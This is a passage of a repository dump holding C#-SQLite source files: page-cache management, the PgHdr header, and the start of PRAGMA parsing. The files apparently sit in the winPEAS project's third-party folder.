pPage )\n    {\n      PCache p = pPage.pCache;\n\n      Debug.Assert( pPage.pDirtyNext != null || pPage == p.pDirtyTail );\n      Debug.Assert( pPage.pDirtyPrev != null || pPage == p.pDirty );\n\n      /* Update the PCache1.pSynced variable if necessary. */\n      if ( p.pSynced == pPage )\n      {\n        PgHdr pSynced = pPage.pDirtyPrev;\n        while ( pSynced != null && ( pSynced.flags & PGHDR_NEED_SYNC ) != 0 )\n        {\n          pSynced = pSynced.pDirtyPrev;\n        }\n        p.pSynced = pSynced;\n      }\n\n      if ( pPage.pDirtyNext != null )\n      {\n        pPage.pDirtyNext.pDirtyPrev = pPage.pDirtyPrev;\n      }\n      else\n      {\n        Debug.Assert( pPage == p.pDirtyTail );\n        p.pDirtyTail = pPage.pDirtyPrev;\n      }\n      if ( pPage.pDirtyPrev != null )\n      {\n        pPage.pDirtyPrev.pDirtyNext = pPage.pDirtyNext;\n      }\n      else\n      {\n        Debug.Assert( pPage == p.pDirty );\n        p.pDirty = pPage.pDirtyNext;\n      }\n      pPage.pDirtyNext = null;\n      pPage.pDirtyPrev = null;\n\n#if SQLITE_ENABLE_EXPENSIVE_ASSERT\nexpensive_assert( pcacheCheckSynced(p) );\n#endif\n    }\n\n    /*\n    ** Add page pPage to the head of the dirty list (PCache1.pDirty is set to\n    ** pPage).\n    */\n    static void pcacheAddToDirtyList( PgHdr pPage )\n    {\n      PCache p = pPage.pCache;\n\n      Debug.Assert( pPage.pDirtyNext == null && pPage.pDirtyPrev == null && p.pDirty != pPage );\n\n      pPage.pDirtyNext = p.pDirty;\n      if ( pPage.pDirtyNext != null )\n      {\n        Debug.Assert( pPage.pDirtyNext.pDirtyPrev == null );\n        pPage.pDirtyNext.pDirtyPrev = pPage;\n      }\n      p.pDirty = pPage;\n      if ( null == p.pDirtyTail )\n      {\n        p.pDirtyTail = pPage;\n      }\n      if ( null == p.pSynced && 0 == ( pPage.flags & PGHDR_NEED_SYNC ) )\n      {\n        p.pSynced = pPage;\n      }\n#if SQLITE_ENABLE_EXPENSIVE_ASSERT\nexpensive_assert( pcacheCheckSynced(p) );\n#endif\n    }\n\n    /*\n    ** Wrapper around the pluggable caches xUnpin method. If the cache is\n    ** being used for an in-memory database, this function is a no-op.\n    */\n    static void pcacheUnpin( PgHdr p )\n    {\n      PCache pCache = p.pCache;\n      if ( pCache.bPurgeable )\n      {\n        if ( p.pgno == 1 )\n        {\n          pCache.pPage1 = null;\n        }\n        sqlite3GlobalConfig.pcache.xUnpin( pCache.pCache, p, 0 );\n      }\n    }\n\n    /*************************************************** General Interfaces ******\n    **\n    ** Initialize and shutdown the page cache subsystem. Neither of these\n    ** functions are threadsafe.\n    */\n    static int sqlite3PcacheInitialize()\n    {\n      if ( sqlite3GlobalConfig.pcache.xInit == null )\n      {\n        sqlite3PCacheSetDefault();\n      }\n      return sqlite3GlobalConfig.pcache.xInit( sqlite3GlobalConfig.pcache.pArg );\n    }\n    static void sqlite3PcacheShutdown()\n    {\n      if ( sqlite3GlobalConfig.pcache.xShutdown != null )\n      {\n        sqlite3GlobalConfig.pcache.xShutdown( sqlite3GlobalConfig.pcache.pArg );\n      }\n    }\n\n    /*\n    ** Return the size in bytes of a PCache object.\n    */\n    static int sqlite3PcacheSize() { return 4; }// sizeof( PCache ); }\n\n    /*\n    ** Create a new PCache object. Storage space to hold the object\n    ** has already been allocated and is passed in as the p pointer.\n    ** The caller discovers how much space needs to be allocated by\n    ** calling sqlite3PcacheSize().\n    */\n    static void sqlite3PcacheOpen(\n    int szPage,                  /* Size of every page */\n    int szExtra,                 /* Extra space associated with each page */\n    bool bPurgeable,             /* True if pages are on backing store */\n    dxStress xStress,//int (*xStress)(void*,PgHdr*),/* Call to try to make pages clean */\n    object pStress,              /* Argument to xStress */\n    PCache p                     /* Preallocated space for the PCache */\n    )\n    {\n      p.Clear();//memset(p, 0, sizeof(PCache));\n      p.szPage = szPage;\n      p.szExtra = szExtra;\n      p.bPurgeable = bPurgeable;\n      p.xStress = xStress;\n      p.pStress = pStress;\n      p.nMax = 100;\n    }\n\n    /*\n    ** Change the page size for PCache object. The caller must ensure that there\n    ** are no outstanding page references when this function is called.\n    */\n    static void sqlite3PcacheSetPageSize( PCache pCache, int szPage )\n    {\n      Debug.Assert( pCache.nRef == 0 && pCache.pDirty == null );\n      if ( pCache.pCache != null )\n      {\n        sqlite3GlobalConfig.pcache.xDestroy( ref pCache.pCache );\n        pCache.pCache = null;\n      }\n      pCache.szPage = szPage;\n    }\n\n    /*\n    ** Try to obtain a page from the cache.\n    */\n    static int sqlite3PcacheFetch(\n    PCache pCache,       /* Obtain the page from this cache */\n    u32 pgno,            /* Page number to obtain */\n    int createFlag,      /* If true, create page if it does not exist already */\n    ref PgHdr ppPage     /* Write the page here */\n    )\n    {\n      PgHdr pPage = null;\n      int eCreate;\n\n      Debug.Assert( pCache != null );\n      Debug.Assert( createFlag == 1 || createFlag == 0 );\n      Debug.Assert( pgno > 0 );\n\n      /* If the pluggable cache (sqlite3_pcache*) has not been allocated,\n      ** allocate it now.\n      */\n      if ( null == pCache.pCache && createFlag != 0 )\n      {\n        sqlite3_pcache p;\n        int nByte;\n        nByte = pCache.szPage + pCache.szExtra + 0;// sizeof( PgHdr );\n        p = sqlite3GlobalConfig.pcache.xCreate( nByte, pCache.bPurgeable ? 1 : 0 );\n        if ( null == p )\n        {\n          return SQLITE_NOMEM;\n        }\n        sqlite3GlobalConfig.pcache.xCachesize( p, pCache.nMax );\n        pCache.pCache = p;\n      }\n\n      eCreate = createFlag * ( 1 + ( ( !pCache.bPurgeable || null == pCache.pDirty ) ? 1 : 0 ) );\n\n      if ( pCache.pCache != null )\n      {\n        pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, eCreate );\n      }\n\n      if ( null == pPage && eCreate == 1 )\n      {\n        PgHdr pPg;\n\n        /* Find a dirty page to write-out and recycle. First try to find a\n        ** page that does not require a journal-sync (one with PGHDR_NEED_SYNC\n        ** cleared), but if that is not possible settle for any other\n        ** unreferenced dirty page.\n        */\n#if SQLITE_ENABLE_EXPENSIVE_ASSERT\nexpensive_assert( pcacheCheckSynced(pCache) );\n#endif\n        for ( pPg = pCache.pSynced ;\n        pPg != null && ( pPg.nRef != 0 || ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ) ;\n        pPg = pPg.pDirtyPrev\n        ) ;\n        if ( null == pPg )\n        {\n          for ( pPg = pCache.pDirtyTail ; pPg != null && pPg.nRef != 0 ; pPg = pPg.pDirtyPrev ) ;\n        }\n        if ( pPg != null )\n        {\n          int rc;\n          rc = pCache.xStress( pCache.pStress, pPg );\n          if ( rc != SQLITE_OK && rc != SQLITE_BUSY )\n          {\n            return rc;\n          }\n        }\n\n        pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, 2 );\n      }\n\n      if ( pPage != null )\n      {\n        if ( null == pPage.pData )\n        {\n          pPage.pData = new byte[pCache.szPage];//memset( pPage, 0, sizeof( PgHdr ) + pCache.szExtra );\n          //pPage.pExtra = (void*)&pPage[1];\n          //pPage.pData = (void*)&( (char*)pPage )[sizeof( PgHdr ) + pCache.szExtra];\n          pPage.pCache = pCache;\n          pPage.pgno = pgno;\n        }\n        Debug.Assert( pPage.pCache == pCache );\n        Debug.Assert( pPage.pgno == pgno );\n        //Debug.Assert( pPage.pExtra == (void*)&pPage[1] );\n        if ( 0 == pPage.nRef )\n        {\n          pCache.nRef++;\n        }\n        pPage.nRef++;\n        if ( pgno == 1 )\n        {\n          pCache.pPage1 = pPage;\n        }\n      }\n      ppPage = pPage;\n      return ( pPage == null && eCreate != 0 ) ? SQLITE_NOMEM : SQLITE_OK;\n    }\n\n    /*\n    ** Decrement the reference count on a page. If the page is clean and the\n    ** reference count drops to 0, then it is made elible for recycling.\n    */\n    static void sqlite3PcacheRelease( PgHdr p )\n    {\n      Debug.Assert( p.nRef > 0 );\n      p.nRef--;\n      if ( p.nRef == 0 )\n      {\n        PCache pCache = p.pCache;\n        pCache.nRef--;\n        if ( ( p.flags & PGHDR_DIRTY ) == 0 )\n        {\n          pcacheUnpin( p );\n        }\n        else\n        {\n          /* Move the page to the head of the dirty list. */\n          pcacheRemoveFromDirtyList( p );\n          pcacheAddToDirtyList( p );\n        }\n      }\n    }\n\n    /*\n    ** Increase the reference count of a supplied page by 1.\n    */\n    static void sqlite3PcacheRef( PgHdr p )\n    {\n      Debug.Assert( p.nRef > 0 );\n      p.nRef++;\n    }\n\n    /*\n    ** Drop a page from the cache. There must be exactly one reference to the\n    ** page. This function deletes that reference, so after it returns the\n    ** page pointed to by p is invalid.\n    */\n    static void sqlite3PcacheDrop( PgHdr p )\n    {\n      PCache pCache;\n      Debug.Assert( p.nRef == 1 );\n      if ( ( p.flags & PGHDR_DIRTY ) != 0 )\n      {\n        pcacheRemoveFromDirtyList( p );\n      }\n      pCache = p.pCache;\n      pCache.nRef--;\n      if ( p.pgno == 1 )\n      {\n        pCache.pPage1 = null;\n      }\n      sqlite3GlobalConfig.pcache.xUnpin( pCache.pCache, p, 1 );\n    }\n\n    /*\n    ** Make sure the page is marked as dirty. If it isn't dirty already,\n    ** make it so.\n    */\n    static void sqlite3PcacheMakeDirty( PgHdr p )\n    {\n      p.flags &= ~PGHDR_DONT_WRITE;\n      Debug.Assert( p.nRef > 0 );\n      if ( 0 == ( p.flags & PGHDR_DIRTY ) )\n      {\n        p.flags |= PGHDR_DIRTY;\n        pcacheAddToDirtyList( p );\n      }\n    }\n\n    /*\n    ** Make sure the page is marked as clean. If it isn't clean already,\n    ** make it so.\n    */\n    static void sqlite3PcacheMakeClean( PgHdr p )\n    {\n      if ( ( p.flags & PGHDR_DIRTY ) != 0 )\n      {\n        pcacheRemoveFromDirtyList( p );\n        p.flags &= ~( PGHDR_DIRTY | PGHDR_NEED_SYNC );\n        if ( p.nRef == 0 )\n        {\n          pcacheUnpin( p );\n        }\n      }\n    }\n\n    /*\n    ** Make every page in the cache clean.\n    */\n    static void sqlite3PcacheCleanAll( PCache pCache )\n    {\n      PgHdr p;\n      while ( ( p = pCache.pDirty ) != null )\n      {\n        sqlite3PcacheMakeClean( p );\n      }\n    }\n\n    /*\n    ** Clear the PGHDR_NEED_SYNC flag from all dirty pages.\n    */\n    static void sqlite3PcacheClearSyncFlags( PCache pCache )\n    {\n      PgHdr p;\n      for ( p = pCache.pDirty ; p != null ; p = p.pDirtyNext )\n      {\n        p.flags &= ~PGHDR_NEED_SYNC;\n      }\n      pCache.pSynced = pCache.pDirtyTail;\n    }\n\n    /*\n    ** Change the page number of page p to newPgno.\n    */\n    static void sqlite3PcacheMove( PgHdr p, Pgno newPgno )\n    {\n      PCache pCache = p.pCache;\n      Debug.Assert( p.nRef > 0 );\n      Debug.Assert( newPgno > 0 );\n      sqlite3GlobalConfig.pcache.xRekey( pCache.pCache, p, p.pgno, newPgno );\n      p.pgno = newPgno;\n      if ( ( p.flags & PGHDR_DIRTY ) != 0 && ( p.flags & PGHDR_NEED_SYNC ) != 0 )\n      {\n        pcacheRemoveFromDirtyList( p );\n        pcacheAddToDirtyList( p );\n      }\n    }\n\n    /*\n    ** Drop every cache entry whose page number is greater than \"pgno\". The\n    ** caller must ensure that there are no outstanding references to any pages\n    ** other than page 1 with a page number greater than pgno.\n    **\n    ** If there is a reference to page 1 and the pgno parameter passed to this\n    ** function is 0, then the data area associated with page 1 is zeroed, but\n    ** the page object is not dropped.\n    */\n    static void sqlite3PcacheTruncate( PCache pCache, u32 pgno )\n    {\n      if ( pCache.pCache != null )\n      {\n        PgHdr p;\n        PgHdr pNext;\n        for ( p = pCache.pDirty ; p != null ; p = pNext )\n        {\n          pNext = p.pDirtyNext;\n          if ( p.pgno > pgno )\n          {\n            Debug.Assert( ( p.flags & PGHDR_DIRTY ) != 0 );\n            sqlite3PcacheMakeClean( p );\n          }\n        }\n        if ( pgno == 0 && pCache.pPage1 != null )\n        {\n          pCache.pPage1.pData = new byte[pCache.szPage];// memset( pCache.pPage1.pData, 0, pCache.szPage );\n          pgno = 1;\n        }\n        sqlite3GlobalConfig.pcache.xTruncate( pCache.pCache, pgno + 1 );\n      }\n    }\n\n    /*\n    ** Close a cache.\n    */\n    static void sqlite3PcacheClose( PCache pCache )\n    {\n      if ( pCache.pCache != null )\n      {\n        sqlite3GlobalConfig.pcache.xDestroy( ref pCache.pCache );\n      }\n    }\n\n    /*\n    ** Discard the contents of the cache.\n    */\n    static void sqlite3PcacheClear( PCache pCache )\n    {\n      sqlite3PcacheTruncate( pCache, 0 );\n    }\n\n\n    /*\n    ** Merge two lists of pages connected by pDirty and in pgno order.\n    ** Do not both fixing the pDirtyPrev pointers.\n    */\n    static PgHdr pcacheMergeDirtyList( PgHdr pA, PgHdr pB )\n    {\n      PgHdr result = new PgHdr();\n      PgHdr pTail = result;\n      while ( pA != null && pB != null )\n      {\n        if ( pA.pgno < pB.pgno )\n        {\n          pTail.pDirty = pA;\n          pTail = pA;\n          pA = pA.pDirty;\n        }\n        else\n        {\n          pTail.pDirty = pB;\n          pTail = pB;\n          pB = pB.pDirty;\n        }\n      }\n      if ( pA != null )\n      {\n        pTail.pDirty = pA;\n      }\n      else if ( pB != null )\n      {\n        pTail.pDirty = pB;\n      }\n      else\n      {\n        pTail.pDirty = null;\n      }\n      return result.pDirty;\n    }\n\n    /*\n    ** Sort the list of pages in accending order by pgno.  Pages are\n    ** connected by pDirty pointers.  The pDirtyPrev pointers are\n    ** corrupted by this sort.\n    **\n    ** Since there cannot be more than 2^31 distinct pages in a database,\n    ** there cannot be more than 31 buckets required by the merge sorter.\n    ** One extra bucket is added to catch overflow in case something\n    ** ever changes to make the previous sentence incorrect.\n    */\n    //#define N_SORT_BUCKET  32\n    const int N_SORT_BUCKET = 32;\n\n    static PgHdr pcacheSortDirtyList( PgHdr pIn )\n    {\n      PgHdr[] a; PgHdr p;//a[N_SORT_BUCKET], p;\n      int i;\n      a = new PgHdr[N_SORT_BUCKET];//memset(a, 0, sizeof(a));\n      while ( pIn != null )\n      {\n        p = pIn;\n        pIn = p.pDirty;\n        p.pDirty = null;\n        for ( i = 0 ; ALWAYS(i <N_SORT_BUCKET - 1) ; i++ )\n        {\n          if ( a[i] == null )\n          {\n            a[i] = p;\n            break;\n          }\n          else\n          {\n            p = pcacheMergeDirtyList( a[i], p );\n            a[i] = null;\n          }\n        }\n        if ( NEVER(i ==N_SORT_BUCKET - 1 ))\n        {\n          /* To get here, there need to be 2^(N_SORT_BUCKET) elements in\n          ** the input list.  But that is impossible.\n          */\n          a[i] = pcacheMergeDirtyList( a[i], p );\n        }\n      }\n      p = a[0];\n      for ( i = 1 ; i <N_SORT_BUCKET ; i++ )\n      {\n        p = pcacheMergeDirtyList( p, a[i] );\n      }\n      return p;\n    }\n\n    /*\n    ** Return a list of all dirty pages in the cache, sorted by page number.\n    */\n    static PgHdr sqlite3PcacheDirtyList( PCache pCache )\n    {\n      PgHdr p;\n      for ( p = pCache.pDirty ; p != null ; p = p.pDirtyNext )\n      {\n        p.pDirty = p.pDirtyNext;\n      }\n      return pcacheSortDirtyList( pCache.pDirty );\n    }\n\n    /*\n    ** Return the total number of referenced pages held by the cache.\n    */\n    static int sqlite3PcacheRefCount( PCache pCache )\n    {\n      return pCache.nRef;\n    }\n\n    /*\n    ** Return the number of references to the page supplied as an argument.\n    */\n    static int sqlite3PcachePageRefcount( PgHdr p )\n    {\n      return p.nRef;\n    }\n\n    /*\n    ** Return the total number of pages in the cache.\n    */\n    static int sqlite3PcachePagecount( PCache pCache )\n    {\n      int nPage = 0;\n      if ( pCache.pCache != null )\n      {\n        nPage = sqlite3GlobalConfig.pcache.xPagecount( pCache.pCache );\n      }\n      return nPage;\n    }\n\n#if SQLITE_TEST\n    /*\n** Get the suggested cache-size value.\n*/\n    static int sqlite3PcacheGetCachesize( PCache pCache )\n    {\n      return pCache.nMax;\n    }\n#endif\n\n    /*\n** Set the suggested cache-size value.\n*/\n    static void sqlite3PcacheSetCachesize( PCache pCache, int mxPage )\n    {\n      pCache.nMax = mxPage;\n      if ( pCache.pCache != null )\n      {\n        sqlite3GlobalConfig.pcache.xCachesize( pCache.pCache, mxPage );\n      }\n    }\n\n#if SQLITE_CHECK_PAGES  || (SQLITE_DEBUG)\n/*\n** For all dirty pages currently in the cache, invoke the specified\n** callback. This is only used if the SQLITE_CHECK_PAGES macro is\n** defined.\n*/\n    static void sqlite3PcacheIterateDirty( PCache pCache, dxIter xIter )\n    {\n      PgHdr pDirty;\n      for ( pDirty = pCache.pDirty ; pDirty != null ; pDirty = pDirty.pDirtyNext )\n      {\n        xIter( pDirty );\n      }\n    }\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pcache_h.cs",
    "content": "using Pgno = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 August 05\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This header file defines the interface that the sqlite page cache\n    ** subsystem.\n    **\n    ** @(#) $Id: pcache.h,v 1.20 2009/07/25 11:46:49 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n#if !_PCACHE_H_\n\n    //typedef struct PgHdr PgHdr;\n    //typedef struct PCache PCache;\n\n    /*\n    ** Every page in the cache is controlled by an instance of the following\n    ** structure.\n    */\n    public class PgHdr\n    {\n      public byte[] pData;          /* Content of this page */\n      public MemPage pExtra;        /* Extra content */\n      public PgHdr pDirty;          /* Transient list of dirty pages */\n      public Pgno pgno;             /* The page number for this page */\n      public Pager pPager;          /* The pager to which this page belongs */\n#if SQLITE_CHECK_PAGES || (SQLITE_DEBUG)\n      public int pageHash;          /* Hash of page content */\n#endif\n      public int flags;             /* PGHDR flags defined below */\n      /**********************************************************************\n      ** Elements above are public.  All that follows is private to pcache.c\n      ** and should not be accessed by other modules.\n      */\n      public int nRef;              /* Number of users of this page */\n      public PCache pCache;         /* Cache that owns this page */\n      public bool CacheAllocated;   /* True, if allocated from cache */\n\n      public PgHdr pDirtyNext;      /* Next element in list of dirty pages */\n      public PgHdr pDirtyPrev;      /* Previous element in list of dirty pages */\n      public PgHdr1 pPgHdr1;        /* Cache page header this this page */\n\n      public static implicit operator bool( PgHdr b )\n      {\n        return ( b != null );\n      }\n\n\n      public void Clear()\n      {\n        this.pData = null;\n        this.pExtra = null;\n        this.pDirty = null;\n        this.pgno = 0;\n        this.pPager = null;\n#if SQLITE_CHECK_PAGES\nthis.pageHash=0;\n#endif\n        this.flags = 0;\n        this.nRef = 0;\n        this.pCache = null;\n        this.pDirtyNext = null;\n        this.pDirtyPrev = null;\n        this.pPgHdr1 = null;\n      }\n    };\n\n    /* Bit values for PgHdr.flags */\n    //#define PGHDR_DIRTY             0x002  /* Page has changed */\n    //#define PGHDR_NEED_SYNC         0x004  /* Fsync the rollback journal before\n    //                                       ** writing this page to the database */\n    //#define PGHDR_NEED_READ         0x008  /* Content is unread */\n    //#define PGHDR_REUSE_UNLIKELY    0x010  /* A hint that reuse is unlikely */\n    //#define PGHDR_DONT_WRITE        0x020  /* Do not write content to disk */\n\n    const int PGHDR_DIRTY = 0x002; /* Page has changed */\n    const int PGHDR_NEED_SYNC = 0x004;/* Fsync the rollback journal before\n** writing this page to the database */\n    const int PGHDR_NEED_READ = 0x008;/* Content is unread */\n    const int PGHDR_REUSE_UNLIKELY = 0x010;/* A hint that reuse is unlikely */\n    const int PGHDR_DONT_WRITE = 0x020;/* Do not write content to disk */\n\n    /* Initialize and shutdown the page cache subsystem */\n    //int sqlite3PcacheInitialize(void);\n    //void sqlite3PcacheShutdown(void);\n\n    /* Page cache buffer management:\n    ** These routines implement SQLITE_CONFIG_PAGECACHE.\n    */\n    //void sqlite3PCacheBufferSetup(void *, int sz, int n);\n\n    /* Create a new pager cache.\n    ** Under memory stress, invoke xStress to try to make pages clean.\n    ** Only clean and unpinned pages can be reclaimed.\n    */\n    //void sqlite3PcacheOpen(\n    //  int szPage,                    /* Size of every page */\n    //  int szExtra,                   /* Extra space associated with each page */\n    //  int bPurgeable,                /* True if pages are on backing store */\n    //  int (*xStress)(void*, PgHdr*), /* Call to try to make pages clean */\n    //  void pStress,                 /* Argument to xStress */\n    //  PCache pToInit                /* Preallocated space for the PCache */\n    //);\n\n    /* Modify the page-size after the cache has been created. */\n    //void sqlite3PcacheSetPageSize(PCache *, int);\n\n    /* Return the size in bytes of a PCache object.  Used to preallocate\n    ** storage space.\n    */\n    //int sqlite3PcacheSize(void);\n\n    /* One release per successful fetch.  Page is pinned until released.\n    ** Reference counted.\n    */\n    //int sqlite3PcacheFetch(PCache*, Pgno, int createFlag, PgHdr**);\n    //void sqlite3PcacheRelease(PgHdr*);\n\n    //void sqlite3PcacheDrop(PgHdr*);         /* Remove page from cache */\n    //void sqlite3PcacheMakeDirty(PgHdr*);    /* Make sure page is marked dirty */\n    //void sqlite3PcacheMakeClean(PgHdr*);    /* Mark a single page as clean */\n    //void sqlite3PcacheCleanAll(PCache*);    /* Mark all dirty list pages as clean */\n\n    /* Change a page number.  Used by incr-vacuum. */\n    //void sqlite3PcacheMove(PgHdr*, Pgno);\n\n    /* Remove all pages with pgno>x.  Reset the cache if x==0 */\n    //void sqlite3PcacheTruncate(PCache*, Pgno x);\n\n    /* Get a list of all dirty pages in the cache, sorted by page number */\n    //PgHdr *sqlite3PcacheDirtyList(PCache*);\n\n    /* Reset and close the cache object */\n    //void sqlite3PcacheClose(PCache*);\n\n    /* Clear flags from pages of the page cache */\n    //void sqlite3PcacheClearSyncFlags(PCache *);\n\n    /* Discard the contents of the cache */\n    //void sqlite3PcacheClear(PCache*);\n\n    /* Return the total number of outstanding page references */\n    //int sqlite3PcacheRefCount(PCache*);\n\n    /* Increment the reference count of an existing page */\n    //void sqlite3PcacheRef(PgHdr*);\n\n    //int sqlite3PcachePageRefcount(PgHdr*);\n\n\n    /* Return the total number of pages stored in the cache */\n    //int sqlite3PcachePagecount(PCache*);\n\n#if SQLITE_CHECK_PAGES\n/* Iterate through all dirty pages currently stored in the cache. This\n** interface is only available if SQLITE_CHECK_PAGES is defined when the\n** library is built.\n*/\n\n//void sqlite3PcacheIterateDirty(PCache pCache, void (*xIter)(PgHdr *));\n#endif\n\n    /* Set and get the suggested cache-size for the specified pager-cache.\n**\n** If no global maximum is configured, then the system attempts to limit\n** the total number of pages cached by purgeable pager-caches to the sum\n** of the suggested cache-sizes.\n*/\n    //void sqlite3PcacheSetCachesize(PCache *, int);\n#if SQLITE_TEST\n    //int sqlite3PcacheGetCachesize(PCache *);\n#endif\n\n#if SQLITE_ENABLE_MEMORY_MANAGEMENT\n/* Try to return memory used by the pcache module to the main memory heap */\n//int sqlite3PcacheReleaseMemory(int);\n#endif\n\n#if SQLITE_TEST\n    //void sqlite3PcacheStats(int*,int*,int*,int*);\n#endif\n\n    //void sqlite3PCacheSetDefault(void);\n\n#endif //* _PCACHE_H_ */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pragma_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2003 April 6\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains code used to implement the PRAGMA command.\n    **\n    ** $Id: pragma.c,v 1.214 2009/07/02 07:47:33 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /* Ignore this whole file if pragmas are disabled\n    */\n#if !SQLITE_OMIT_PRAGMA\n\n    /*\n** Interpret the given string as a safety level.  Return 0 for OFF,\n** 1 for ON or NORMAL and 2 for FULL.  Return 1 for an empty or\n** unrecognized string argument.\n**\n** Note that the values returned are one less that the values that\n** should be passed into sqlite3BtreeSetSafetyLevel().  The is done\n** to support legacy SQL code.  The safety level used to be boolean\n** and older scripts may have used numbers 0 for OFF and 1 for ON.\n*/\n    static u8 getSafetyLevel( string z )\n    {\n      //                             /* 123456789 123456789 */\n      string zText = \"onoffalseyestruefull\";\n      int[] iOffset = new int[] { 0, 1, 2, 4, 9, 12, 16 };\n      int[] iLength = new int[] { 2, 2, 3, 5, 3, 4, 4 };\n      u8[] iValue = new u8[] { 1, 0, 0, 0, 1, 1, 2 };\n      int i, n;\n      if ( sqlite3Isdigit( z[0] ) )\n      {\n        return (u8)atoi( z );\n      }\n      n = sqlite3Strlen30( z );\n      for ( i = 0 ; i < ArraySize( iLength ) ; i++ )\n      {\n        if ( iLength[i] == n && sqlite3StrNICmp( zText.Substring( iOffset[i] ), z, n ) == 0 )\n        {\n          return iValue[i];\n        }\n      }\n      return 1;\n    }\n\n    /*\n    ** Interpret the given string as a boolean value.\n    */\n    static u8 getBoolean( string z )\n    {\n      return (u8)( getSafetyLevel( z ) & 1 );\n    }\n\n    /*\n    ** Interpret the given string as a locking mode value.\n    */\n    static int getLockingMode( string z )\n    {\n      if ( z != null )\n      {\n        if ( 0 == sqlite3StrICmp( z, \"exclusive\" ) ) return PAGER_LOCKINGMODE_EXCLUSIVE;\n        if ( 0 == sqlite3StrICmp( z, \"normal\" ) ) return PAGER_LOCKINGMODE_NORMAL;\n      }\n      return PAGER_LOCKINGMODE_QUERY;\n    }\n\n#if !SQLITE_OMIT_AUTOVACUUM\n    /*\n** Interpret the given string as an auto-vacuum mode value.\n**\n** The following strings, \"none\", \"full\" and \"incremental\" are\n** acceptable, as are their numeric equivalents: 0, 1 and 2 respectively.\n*/\n    static u8 getAutoVacuum( string z )\n    {\n      int i;\n      if ( 0 == sqlite3StrICmp( z, \"none\" ) ) return BTREE_AUTOVACUUM_NONE;\n      if ( 0 == sqlite3StrICmp( z, \"full\" ) ) return BTREE_AUTOVACUUM_FULL;\n      if ( 0 == sqlite3StrICmp( z, \"incremental\" ) ) return BTREE_AUTOVACUUM_INCR;\n      i = atoi( z );\n      return (u8)( ( i >= 0 && i <= 2 ) ? i : 0 );\n    }\n#endif // * if !SQLITE_OMIT_AUTOVACUUM */\n\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n    /*\n** Interpret the given string as a temp db location. Return 1 for file\n** backed temporary databases, 2 for the Red-Black tree in memory database\n** and 0 to use the compile-time default.\n*/\n    static int getTempStore( string z )\n    {\n      if ( z[0] >= '0' && z[0] <= '2' )\n      {\n        return z[0] - '0';\n      }\n      else if ( sqlite3StrICmp( z, \"file\" ) == 0 )\n      {\n        return 1;\n      }\n      else if ( sqlite3StrICmp( z, \"memory\" ) == 0 )\n      {\n        return 2;\n      }\n      else\n      {\n        return 0;\n      }\n    }\n#endif // * SQLITE_PAGER_PRAGMAS */\n\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n    /*\n** Invalidate temp storage, either when the temp storage is changed\n** from default, or when 'file' and the temp_store_directory has changed\n*/\n    static int invalidateTempStorage( Parse pParse )\n    {\n      sqlite3 db = pParse.db;\n      if ( db.aDb[1].pBt != null )\n      {\n        if ( 0 == db.autoCommit || sqlite3BtreeIsInReadTrans( db.aDb[1].pBt ) )\n        {\n          sqlite3ErrorMsg( pParse, \"temporary storage cannot be changed \" +\n          \"from within a transaction\" );\n          return SQLITE_ERROR;\n        }\n        sqlite3BtreeClose( ref db.aDb[1].pBt );\n        db.aDb[1].pBt = null;\n        sqlite3ResetInternalSchema( db, 0 );\n      }\n      return SQLITE_OK;\n    }\n#endif // * SQLITE_PAGER_PRAGMAS */\n\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n    /*\n** If the TEMP database is open, close it and mark the database schema\n** as needing reloading.  This must be done when using the SQLITE_TEMP_STORE\n** or DEFAULT_TEMP_STORE pragmas.\n*/\n    static int changeTempStorage( Parse pParse, string zStorageType )\n    {\n      int ts = getTempStore( zStorageType );\n      sqlite3 db = pParse.db;\n      if ( db.temp_store == ts ) return SQLITE_OK;\n      if ( invalidateTempStorage( pParse ) != SQLITE_OK )\n      {\n        return SQLITE_ERROR;\n      }\n      db.temp_store = (u8)ts;\n      return SQLITE_OK;\n    }\n#endif // * SQLITE_PAGER_PRAGMAS */\n\n    /*\n** Generate code to return a single integer value.\n*/\n    static void returnSingleInt( Parse pParse, string zLabel, i64 value )\n    {\n      Vdbe v = sqlite3GetVdbe( pParse );\n      int mem = ++pParse.nMem;\n      //i64* pI64 = sqlite3DbMallocRaw( pParse->db, sizeof( value ) );\n      //if ( pI64 )\n      //{\n      //  memcpy( pI64, &value, sizeof( value ) );\n      //}\n      //sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, (char*)pI64, P4_INT64 );\n      sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, value, P4_INT64 );\n      sqlite3VdbeSetNumCols( v, 1 );\n      sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLabel, SQLITE_STATIC );\n      sqlite3VdbeAddOp2( v, OP_ResultRow, mem, 1 );\n    }\n\n#if 